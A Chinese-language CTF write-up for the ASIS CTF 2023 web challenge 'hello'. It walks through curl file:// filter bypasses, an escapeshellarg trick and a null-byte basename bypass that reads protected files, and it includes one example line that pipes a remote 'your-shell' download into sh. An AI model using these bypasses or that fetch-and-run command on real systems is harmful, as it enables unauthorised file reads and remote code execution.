asisctf 2023 web hello wp

hello

开题,直接给了源码。


/*
Read /next.txt
Hint for beginners: read curl's manpage.
*/
highlight_file(__FILE__);
$url = 'file:///hi.txt';
if(
    array_key_exists('x', $_GET) &&
    !str_contains(strtolower($_GET['x']),'file') && 
    !str_contains(strtolower($_GET['x']),'next')
){
    $url = $_GET['x'];
}
system('curl '.escapeshellarg($url));

asisctf 2023 web hello wp_第1张图片

提示我们读取/next.txt文件,但是代码中用str_contains()函数过滤了字符串filenext

分析一下陌生函数。

array_key_exists('x', $_GET):检查数组里是否有指定的键名或索引,相当于issert($_GET['x'])

str_contains(strtolower($_GET['x']),'file'):将第一个参数转小写后检测第一个参数($_GET[‘x’])里面是否包含第二个参数(file字符串)

escapeshellarg($url):将给字符串增加一个单引号并且能引用或者转码任何已经存在的单引号,这样以确保能够直接将一个字符串传入 shell 函数,并且还是确保安全的。对于用户输入的部分参数就应该使用这个函数。这样一来,我们只能curl 一个URL了,无法拼接等操作执行别的命令。


尝试用curl命令+file://伪协议读取文件/next.txt,期间还要绕过过滤。

asisctf 2023 web hello wp_第2张图片

payload:

?x=fil{e}:///nex{t}.txt

或者

?x=fil%ffe:///nex%fft.txt

或者正则匹配绕过

?x=fil[e-e]:///nex[t-t].txt

解释一下这些paylaod。

第一个包花括号的?x=fil{e}:///nex{t}.txt

这个包花括号绕过法目前只发现对curl的参数有效。比如:

curl fil{e}:///nex{t}.txt
curl {h}ttps://your-shell.com/120.46.41.173:9023 | sh

第二个payload?x=fil%ffe:///nex%fft.txt是利用了escapeshellarg()函数的漏洞,可参考浅谈CTF中escapeshellarg的利用_escapeshellarg 绕过_slug01sh的博客-CSDN博客

成功读取/next.txt文件,提示我们前往http://45.147.231.180:8001/39c8e9953fe8ea40ff1c59876e0e2f28/

asisctf 2023 web hello wp_第3张图片

提示我们输入/read/?file=/proc/self/cmdline,猜测这里file参数存在任意文件读取。

image-20230923003017440

先读取一下/proc/self/cmdline看看。

asisctf 2023 web hello wp_第4张图片

L2Jpbi9idW4tMS4wLjIAL2FwcC9pbmRleC5qcwA=

解密后是

/bin/bun-1.0.2\x00/app/index.js\x00

读取/app/index.js/read/?file=/app/index.js。解码后是:

const fs = require('node:fs');
const path = require('path')

/*
I wonder what is inside /next.txt  
*/

const secret = '39c8e9953fe8ea40ff1c59876e0e2f28'
const server = Bun.serve({
  port: 8000,
  fetch(req) {
  	let url = new URL(req.url);
  	let pname = url.pathname;
  	if(pname.startsWith(`/${secret}`)){
      if(pname.startsWith(`/${secret}/read`)){
        try{
          let fpath = url.searchParams.get('file');
          if(path.basename(fpath).indexOf('next') == -1){ 
            return new Response(fs.readFileSync(fpath).toString('base64'));
          } else {
            return new Response('no way');
          }
        } catch(e){ }
        return new Response("Couldn't read your file :(");
      }
      return new Response(`did you know i can read files?? amazing right,,, maybe try /${secret}/read/?file=/proc/self/cmdline`);
    }
    return 
  }
});

读一遍代码后发现了逻辑漏洞。在过滤时使用了basename()函数处理传入的文件路径。

if (path.basename(fpath).indexOf('next') == -1){
    return newResponse(fs.readFileSync(fpath).toString('base64'));
}

JS中的basename()函数功能类似于PHP中的basename()函数。函数返回路径中的文件名部分。例如当前路径为/foo/bar.txt,则返回bar.txt

payload:(%00截断)

/read/?file=/next.txt%00/xxx

asisctf 2023 web hello wp_第5张图片

Tm93IGl0J3MgdGltZSBmb3IgYSB3aGl0ZWJveCBjaGFsbGVuZ2UuCkZpbmQgdGhlIGhpZGRlbiBzdWJkb21haW4gYW5kIHRoZW4gYSBzZWNyZXQgZW5kcG9pbnQgYW5kIG9ubHkgdGhlbiB5b3UgbWF5IHJlY2VpdmUgeW91ciBmbGFnLgpMaW5rIHRvIHRoZSB3ZWJzaXRlOiBgYW5WemRDQnJhV1JrYVc1bkxpQkJVMGxUZTJkdmIyUmZhbTlpWDJKMWJuMGdDZz09YAoK

解码后是

Now it's time for a whitebox challenge.
Find the hidden subdomain and then a secret endpoint and only then you may receive your flag.
Link to the website: `anVzdCBraWRkaW5nLiBBU0lTe2dvb2Rfam9iX2J1bn0gCg==`
anVzdCBraWRkaW5nLiBBU0lTe2dvb2Rfam9iX2J1bn0gCg==

解码后如下,成功得到flag

just kidding. ASIS{good_job_bun} 

你可能感兴趣的:(CTF赛事,web安全,PHP,JS,00截断,CTF,代码审计)